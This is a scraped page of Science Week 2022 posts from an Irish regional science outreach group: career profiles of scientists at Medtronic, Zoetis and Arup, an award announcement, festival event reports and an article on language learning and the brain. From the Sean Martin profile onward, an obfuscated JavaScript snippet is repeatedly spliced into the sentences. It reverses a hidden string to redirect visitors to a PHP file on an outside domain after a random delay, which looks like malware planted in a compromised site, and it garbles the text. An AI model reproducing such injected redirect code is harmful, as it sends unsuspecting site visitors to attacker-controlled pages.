Science Week Science Profiles – Georgia Kearney, Medtronic

/in , , , , , /by

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities available to young people interested in science. Last, but by no means least, is Georgia Kearney, a student co-op from Medtronic. We caught up with Georgia and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science. 

I was always quite curious about how things worked when I was younger, from what windmills where to how my mum was growing my baby brother in her stomach (still amazed by that).  

However, my earliest experience of science that I recall was when I was going on holidays with my family. We had a long drive to get to our destination, so I grabbed this big old book my aunt had gifted me called ‘Children’s Encyclopaedia of Science’. It wasn’t so much the facts within the book that piqued my interest but more so the pretty colours on the front.  

I remember choosing the ‘Space’ chapter and it had explained how powerful the sun was and that if you stared at it too long you could go blind – so of course I took it upon myself to shut my eyes tight every time the sun was shining in my eyes to keep them safe. Although I was cautious about looking at the sky, I began to wonder about space and how all these planets and stars were able to just exist up in the sky which led me to ask for a telescope that Christmas. I would spend hours trying to put this ‘kid friendly’ telescope together but was still unable to see the moon and stars (it took about a month before I realised I left the lens cover on the end of it). Once I reluctantly asked my parents for help on how to build it and use it I spent some nights just in awe at how there was so much up there and we just couldn’t reach it.  

What did you study at college and can you tell us a little about it? 

I am studying Biomedical Engineering at Ulster University and I’m currently on my placement year at Medtronic. Biomedical engineering takes the fundamentals of engineering and applies them to the body to mitigate pain and disease. It might sound a bit daunting but biomedical engineering is the development/creation of any device that is in contact with the human body, from tongue depressors to defibrillators.  

What is your current role and what do you enjoy most about it? 

Currently, I am a student co-op at Medtronic. I thoroughly enjoy the variety of projects going on and the constant opportunity to explore new technologies. Working with fully qualified and experienced people within industry gives a lot of opportunity for learning and growth which I feel is a very valuable aspect of beginning a career in science. Overall, the people and opportunities present really create an enjoyable work experience.  

What is your favourite science fact? 

My favourite science fact is probably a well known one at this stage – but we aren’t ever physically touching something, there are atoms in the very air we breathe so when you’re ‘touching’ something there are multiple atoms between your skin and the surface of the object you’re touching so when you feel that pressure of an object it’s the atoms repelling each other.   

What advice would you give to a young person considering a career in science? 

If you or someone you know is considering a career in science the main advice, I would give is to ask questions. It’s been heard from teachers constantly over the years ‘No question is a stupid question.’ Which is true! Reach out to different employers/college’s and ask about what they offer or what they do and see which one sparks your interest. If your school/college offers open days, I’d encourage you to attend and speak to actual people from different companies and get a personal view on what the companies work mainly consists of and get a broader view on the morals and goals and see if they align with your own.  

Jackie Gorman Wins Prestigious Science Foundation Ireland Communications Award

/in , , /by

The CEO of Midlands Science Jackie Gorman is this year’s winner of the prestigious Science Foundation Ireland Outstanding Contribution to STEM Communication Award 2022. This relates to her work in communications relating to science, technology, engineering and maths. This national award recognises an outstanding contribution to the popularisation of science and an individual who raises public awareness of the value of science to human progress. Previous winners include Prof Luke O’Neill, Dr Niamh Shaw and Dr Aoibhinn Ní Shúilleabháin.

A graduate of TUS, NUIG and DCU, Jackie has worked in science communications with local development company Midlands Science for the past number of years and her work has involved developing and curating science outreach across the midlands, in a way that makes science accessible and engaging. Speaking about the award, she said “I am honoured to receive this award and equally honoured to get to do this work in the region that I come from and about which I am so passionate. Communicating science is about making it accessible and making sure that such access is equitable. I am truly honoured to receive this award from Science Foundation Ireland. I believe that engaging with science is important for our economy but also our society and a sense of engaged citizenship. I would like in receiving this award to acknowledge the excellent team of trustees, staff and stakeholders that I work with, who contribute so much to what we do.”

Dr Craig Slattery of UCD’s Conway Institute is Chairperson of Midlands Science. He commented “on behalf of the Board of Trustees, I am absolutely delighted for Jackie, and wholeheartedly congratulate her on this outstanding achievement. On a personal level, it’s a most fitting tribute to Jackie’s contributions which have enriched the science outreach and public engagement landscape, both locally and nationally. For Midlands Science, Jackie’s award is a massive endorsement of the wonderful work that Jackie and the Team have done, and continue to do with schools, clubs, societies, employers and the wider community across the Midlands.”

In the past number of years, Jackie has pioneered making science outreach more accessible and equitable through work with the Science Capital Research Team of University College London and King’s College London and work with the Medtronic Foundation and the Ireland Funds Private Donor Network among others.

Science Week Science Profiles – Shauna Donoghue, Zoetis

/in /by

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Shauna Donoghue, a Quality Control Microbiology Analyst in Zoetis. We caught up with Shauna and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science?

My earliest experience of science was when I got a Microscope set for my birthday. It was really exciting to look at different things around my house under the microscope.

What did you study at college and can you tell us a little about it?

I studied General Science in Maynooth University where I studied Maths, Biology, Chemistry and Computer Science. In my final year, I specialised in Biology. It was an interesting course that allowed me to try different subjects to determine what I liked and didn’t like. I studied my Masters in Bioprocess Engineering in DCU, which covered all aspects of manufacturing pharmaceutical products. This was relevant when I started working for Zoetis as I have an understanding of how the product is made.

What is your current role and what do you enjoy most about it?

I am a Quality Control Microbiology Analyst in Zoetis. Our site makes an injection for cats that helps with Arthritis. My job involves contamination control for the product we make so it’s safe for the cats. The thing I enjoy most about my job is seeing what bacteria can grow, and the different types of bacteria that there is.

What is your favourite science fact?

There is a frog in Central America known as Glass frog because it is translucent/clear. It makes it difficult for predators to identify it when it sits on leaves, so it is kind of a form of hiding for the frog.

What advice would you give to a young person considering a career in science?

There is a broad range of careers in science. Do some research into what you might like, internships/ work placements are great for gaining experience and reach out to people in the science industry who can answer questions you might have about a career in science.

A Successful Science Week in the Midlands!

/in , , , , , /by

Science Week in the Midlands was back in person this year with the Midlands Science Festival, funded by Science Foundation Ireland. A wide range of activities took place including a family Discovery Day in Tullamore supported by Integra and attended by over 1,200 people!! Visitors to the discovery day were able to get hands on with reptiles from the National Reptile Zoo, learn all about slime with Anyone 4 Science, discover the science behind superheroes with Dr Barry Fitzgerald, take a journey through space with Martin and the Exploration Dome and learn all about Dinos down under with thanks to Dale Treadwell.


The National Museum of Ireland continued its partnership with Midlands Science and this year the school and family workshops and public event focussed on items in the national collection in Co Offaly and the Vikings in the Midlands.  Participants got the chance to get up close and personal with a wolf skill, viking hack silver and amber among many other things.

A swim in Lough Ree this year in association with Swim Ireland was also part of the activities. The swim was followed by food and drinks in the Lough Ree Inn and a talk by author of the acclaimed book “Blue Spaces” Dr Catherine Kelly.

Other events included exploring the science of golf in Athlone Golf Club, the science of stress and resilience with psychologist Dr Andrew Magee, the science of cats and dogs with Pete the Vet and a unique hands-on event looking at the science of sustainable living. Every participant at this event got to make a shampoo bar, a wax wrap and seed bomb to take home with them.

An event looking at the science of cosmetics, Beauty and the Chemistry Beasts, took place in Mullingar in association with the Royal Society of Chemistry. This was filmed and will be circulated online and to schools later next week.

Brian Gibson from Forensic Science Ireland and Dr Craig Slattery from UCD took part in ‘The Usual Suspects – An Evening of Crime Science’ in Portlaoise looking at the role that science has in solving crime.

Participants in the festival also looked up to the night’s sky to ponder the wonders of the universe in Lough Boora Parklands with Midlands Astronomy Club. Dead Centre Brewing was the location for ‘Hop to It’, a unique event looking at the science of beer with Prof John Morrisey, a fermentation expert from UCC.

A wide range of activities also took place in schools across the region during the week with Dr Barry Fitzgerald, Dale Treadwell and the team from Anyone4Science, to name just a few. Students in both primary and secondary schools got to explore the science of flight, Superhero Science, hands on experiments and some got to take a journey through our solar system in the exploration dome.

Online activities included a series of videos looking at the science of climate action, including a programme that Midlands Science undertook with youth club participants from the Monsignor McCarthy Complex in Athlone. Those interested in car racing were also part of the festival with an online event with driver Paul O’Connell taking apart what it takes to be a Formula 1 Driver and this event included the opportunity to win a family day in the pit with him and his team on a race day in Mondello Park. Book clubs across the region were also encouraged to take part in Science Week by reading a popular science book from a list curated by Midlands Science.

Midlands Science runs science outreach all year around to schools through its outreach programme and also runs a number of special projects such as Quiet Science, Innovate for Climate Action and Everyday Science. It reaches an average of 16,000 people per year and is supported by the Ireland Funds Private Donor Network, the Medtronic Foundation and a variety of private, public and philanthropic funders for different projects and activities.

Science Week Science Profiles – Christina Ryan, Medtronic

/in , , , , /by

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Christina Ryan from Medtronic. Christina is a Digital Technology Engineer, mainly in the area of augmented/virtual reality and 3D computer models. We caught up with Christina and asked her some questions about her career in science:

Tell us a little about your earliest experiences of science?

The earliest experience that I can remember was when I was about 12 years old, I was visiting an open day for secondary school and a science lab was set up with various displays/experiments on each of the different benches. On the first bench there was a rat that had been dissected with all of its anatomy labelled and I found it really fascinating to get to see how all of the different body parts worked together to create an animal that could eat, breathe, walk and think. It had a great impact on me and it was the first time I thought about science as a career option.

What did you study at college, and can you tell us a little about it?

I stayed in college for a long time 😊 I really enjoy learning new and different things. I started off by doing Biological and Chemical Sciences (4 years) in University College Cork (UCC), it was a general course where I could experience many different areas of science and help narrow down what I really enjoyed. The first year had four main subjects: Biology, Chemistry, Physics and Maths, I was never very interested in Physics and hadn’t done it as a leaving cert subject, in fact I failed my physics exam at the end of that year however my grades in the other 3 subjects allowed me to continue to second year where I got to choose the subjects I wanted to do. I did a number of different modules including anatomy, biochemistry, physiology, and zoology. In the end I chose to finish my degree in the area of Neuroscience as it was the most different to everything else I had learned and for the final two years I completed modules like anatomy, physiology and biochemistry that were focused specifically on the brain, also learning about conditions such as Parkinson’s and Alzheimer’s disease.

After finishing my Neuroscience degree I went on to do a taught Masters in Neuropharmacology (1 year) in Ollscoil na Gaillimhe (formerly NUI Galway). This built on the knowledge I had already learned but focused on the signalling chemicals (neurotransmitters) that make the brain work and how imbalances in these chemicals can cause various illnesses such as Parkinson’s or Alzheimer’s, as well as anxiety or depression. The course also went through how various drugs work to treat these illnesses. When I finished the masters I decided to stay in Galway to do a PhD, though in a very different area. I joined a medical device lab where I worked for 5 years on a project to evaluate different materials and chemicals to find out which ones that tendon cells like to grow on the most. Although this was very different to the specialised areas I had studied up to then, a lot of what I learned was transferrable and I knew I could learn the information I needed as I had been able to before!

What is your current role and what do you enjoy most about it?

I am now working as a Digital Technology Engineer, mainly in the area of augmented / virtual reality and 3D computer models. This is very different from what I did in college, however I have gotten to learn a lot of new things. Moreover, a lot of the skills that I learned from college I can use in my current job such as critical thinking, decision making, presenting information to different people and technical writing etc. I mainly work with different companies to evaluate new technology and if that technology is something that will help us to get work done with better quality and/or quicker. The thing I enjoy most about my role is that I get to investigate a lot of different types of cool technology such as AR/VR headsets or 3D scanners and I get to keep learning new things all the time.

What is your favourite science fact?

There are no pain receptors in the brain. Headaches are caused by pain receptors in other tissues surrounding the brain such as blood vessels or the membranes that protect the brain.

What advice would you give to a young person considering a career in science?

If you have an interest in science but are not sure what exactly you want to do, don’t worry too much about what area you go into at the beginning, any science course you do will be a gateway to multiple different career pathways and you’re never stuck, you can always change. Also don’t sweat it if you’re not a maths genius, I have a PhD in Biomedical Engineering and I failed physics in college.

Science Week Swimming!!

/in , , /by

A huge crowd turned out at Coosan Point, Lough Ree, Athlone for our science week event in association with Swim Ireland. The event involved a supervised swim or a dip in Lough Ree followed by hot food and drinks in the Lough Ree Inn and a talk with Dr Catherine Kelly, author of the acclaimed book “Blue Spaces.” For many years, Dr Kelly has been researching and writing about the impact that water has on our mind and bodies and she is a particular fan of cold water and open water swimming. In a wide-ranging talk, and in the questions and answers that followed, she stressed her belief that everyone should have access to swimming and she is currently working on projects in the UK to bring swimming to communities who may not usually engage with swimming, such as people with disabilities or those from particular ethnic backgrounds.

She spoke about how she developed a new relationship with swimming and water following the death of her mother many years ago. Living in Mayo at the time near the sea, she began to think about the healing power of water. “It’s an ebb and flow that water gives us that allows us to connect with ourselves.” Her book “Blue Spaces” is packed full of great ideas of how to make the most of being in or near water, based on scientific research from around the world about the human relationship with water. She says “Being in the water brings you straight into your body. I think that’s the crux of the wellbeing benefit of water, it brings you out of your head. You cannot ignore your body when water is pounding on top of you.” She also encourages those who are interested in open water swimming to join a local community as the social benefits of swimming with other people are also demonstrated in scientific research that looks at the modern problems of loneliness and social isolation.

Questions on the day included everything from how to get started in cold water swimming to why it seems to be mostly women who are flocking to the lakes of Westmeath to swim. Attendees came from a number of open water swimming groups across the midlands to attend. The event was part of the Midlands Science Festival, a regional science festival as part of national Science Week, supported by Science Foundation Ireland. Midlands Science would like to thank Swim Ireland for their support for this event as part of the Midlands Science Festival.

Science Week Science Profiles – Sean Martin, Zoetis

/in /by

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Sean Martin from Zoetis, we caught up with Sean and asked him some questions about his ncareer in science:

 

Tell us a little about your earliest experiences of science?

My earliest experience with science that I found interesting was in first year science class in secondary school where we were learning about $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominant and recessive genes, and possible genotypes of offspring using punnet squares.

What did you study at college, and can you tell us a little about it?

I studied Biotechnology in Maynooth University, it allowed me to become familiar with all aspects of modern molecular biology such as antibody purification and recombinant DNA technology.

What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

My current role is working as a process scientist in the $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}downstream processing sector for Zoetis Tullamore. The main basis of my work is carrying out the formation of buffers that are used throughout several steps of the production procedure.

What is your favourite science fact?

You’d need to eat ten million bananas in one sitting to die of banana-induced radiation poisoning.

What advice would you give to a young person considering a career in science?

It’s a fascinating area of work that has many different options and opportunities depending on what area of science your interests lie.

 

Science Week Science Profiles – Julie Hayes, ARUP

/in , , , , /by

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. First up is Julie Hayes from Arup. Julie is a Graduate Environmental Consultant that works with Arup’s Environmental Team in Cork. Julie has a BSc in Environmental Science from UCC and also an MSc in Applied Environmental Geoscience, also from UCC. We caught up with Julie and asked her some questions about her career in science:

 

Tell us a little about your earliest experiences of science?

My earliest experience of science is a bit different. I think it would have to be sitting in front of the TV and watching Animal Planet with my Grandad growing up. Every week we’d watch David Attenborough or Steve Irwin galivanting across new exotic places, finding dangerous animals and highlighting issues (that I didn’t yet fully understand) such as climate change, habitat loss and endangered species. I remember thinking “that’s what I want to $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do”. Now, while I might not be out in swamps tackling crocs (or “beauties”) or filming “extraordinary” landscapes, I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do get to work towards tackling some of these same issues as part of my job, which is really cool!

 

What did you study at college, and can you tell us a little about it?

I studied BSc Environmental Science at University College Cork as my undergraduate degree. This is one of the disciplines you can chose after completing the first year of Biological, Earth and Environmental Sciences (BEES) at UCC. I absolutely loved my time studying Environmental science – so much so, I stayed for another year at UCC to pursue a masters in Applied Environmental Geoscience. What I loved the most is the diversity and variety in science. I have always been interested in many things and this course certainly covers a little bit of everything from air and water quality, chemistry and physics, to geography, GIS, geology, zoology and ecology. Experiencing work in the classroom, in the labs and even out in the field was the best part, which allowed us to learn how to physically take samples and log soil cores, before analysing them in the lab and writing up a report in the classroom. Never in a million years did I think my degree could take me to sampling water from a contaminated island in Helsinki, working in a bog for 6 months for my master’s thesis or even mapping sand dunes in the Hague with a drone while studying abroad! Although it wasn’t always easy and at times really tough, I would recommend this course to anyone who enjoys learning a little bit about everything from the desk, to the field, to the lab (and back again!).

 

What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

Currently I’m working as a graduate environmental consultant with Arup’s environmental team in Cork. Some of the work we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do includes preparing environmental impact assessments for planning applications, environmental licencing for industrial emissions facilities, and carbon and sustainability assessments for our clients. My favourite thing about working in this area is that while the reports we $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do might seem the same, the work is always changing and there’s always a challenge or two (or three!) to keep us interested along the way!

At Arup we have a strong emphasis on achieving sustainability in our work and in the projects that we take on. The best part for me is knowing you are working in an important area like environmental science and are able to contribute towards tackling things like climate, biodiversity and environmental impact in some small way as part of your job, whether it be providing advice to clients on ways to cut $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down carbon emissions or identifying areas of potential environmental impact and reducing this risk. I just think that is really cool!

 

What is your favourite science fact?

The most common shape found in nature is a hexagon (think of honeycomb or the giant’s causeway). I $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don’t know why but I’ve always liked that one!

 

What advice would you give to a young person considering a career in science?

Science is always changing and there is always more to learn! It covers a range of topics from astrophysics to pharmaceuticals, and while some might think the only job of a scientist is working in a lab, there are also plenty of other opportunities out there when pursuing this career, be it in out in the field, in academics or as a consultant (like me). Studying science has opened up a world of opportunities to me and I have met some of the best people I know through my studies and my work. So, if you’re considering a career in science and enjoy learning something new every day, I would highly recommend a career in this area – you’ll never have a dull moment! P.S. You $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do not have to be brilliant at maths (but understanding the basics $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does help!)

 

 

Unique Event in Mullinger – Beauty and the Chemistry Beasts

/in , , , , , /by

We are just days away from the start of the Midlands Science Festival 2022! Mullingar is the venue for a unique talk on where Dr Craig Slattery will be delving deep into the world of beauty and cosmetics, in an event separating the science and marketing that often collide in the world of beauty products.

We spend millions every year on everything from sunscreen to lipstick but what are we actually buying and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}does some of the labels mean? Dr Slattery will explore everything from the ingredients to the psychology of beauty. This event, supported by the Royal Society of Chemistry, will explore (and sometimes explode) the myths, marketing and reality of cosmetic products. Shopping for cosmetics will never be the same again!

‘Beauty and the chemistry beasts’ takes place on Thursday November 17th at 7.30pm, Annebrook House Hotel, Mullingar – Book your place now!

What happens in your brain when you learn a new language?

/in /by

Sometimes, we try to learn a new language for work or personal reasons or for travel. There’s the joy in being able to make a joke or order off the menu in a different country. It also has huge benefits for your brain and there’s a huge amount going on in your brain when you $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do learn to speak another language.  Many areas in your brain including Broca’s area increase in size and function. This is the area of the brain involved in production of language. When children grow up with two languages or more, the languages are processed at the same time but as adults when we learn a second language, a separate area close to the first develops. Adults learn at different speeds when it comes to languages and studies have shown differences in changes of brain area in different learners. Broca’s areas and the hippocampus changed most in those who learnt languages quickly and the motor cortex changed most in those who learnt at a slower pace.

A Swedish MRI study showed learning languages has an effect on the brain. The study had young adults military recruits who liked learning languages learn Arabic, Russian or Dari. Meanwhile a control group of medical and science students also studied hard but not languages. MRI scans showed that parts of the brain of language students increased in size, whilst in the control group no change occurred.

No matter what pace you learn at, learning a new language has been shown to improve memory, mental flexibility, brain function and creativity. So, give it go today – it’s easier than ever with Duo Lingo, online conversation circles and classes.

 

Language Learning & STEM: Students taking a foreign language at Leaving Certificate level has slowed over the past five years, according to recent figures. The percentage of 6th years studying at least one foreign language has fallen for both boys and girls with 67% of boys and 84% of girls $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing at least one foreign language. However, the percentage of students taking a foreign language other than French has grown. These languages include German, Spanish, Italian, Russian, Japanese and Arabic. 74% of schools at secondary level now offer two languages or more.

The higher uptake of languages by girls at Leaving Cert may be a super power that women and girls can use to carve out a space in the STEM workforce. 59.5% of the world is now connected through the internet and this makes the world increasingly interconnected. The ability to communicate in more than one language is increasingly important to employers and this is crucial in STEM as scientific research is often international. Collaboration and communication is a vital part of research. Also studies have shown those who speak other languages than their first language have better concentration and problem solving skills and are better at multi-tasking. These are vital qualities for scientists. Helping students to understand than speaking another language is really valuable in the global STEM workforce means that the language lab is as important as the science lab in developing the scientists of the future.

 

Language Learning & Age: A published study exploring affect and age in learning languages wanted to explore if early language learning was more beneficial than later in life. You’d think that early learn would lead to better language skills but the study showed that those who started later in life out-performed those who started earlier in a variety of skills. This was because individual motivation is the strongest influence on outcomes, best summed up in the saying, if you have a why, you’ll find a how ! Those who took up language learning later in life were more determined to succeed, so learning a language is not dependent on age or a younger brain.

This makes sense, there are lots of young people who spend years learning a language and never go beyond being able to say their name and where they are from. Another study found that age wasn’t a factor in learning a language but what made the different was high quality input, contact with native speakers, speaking the language on a regular basis and using materials in that language like reading a book or listening to a podcast. So it seems that the wis $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom that comes with age give an edge in language learning, a certain je ne sais quoi!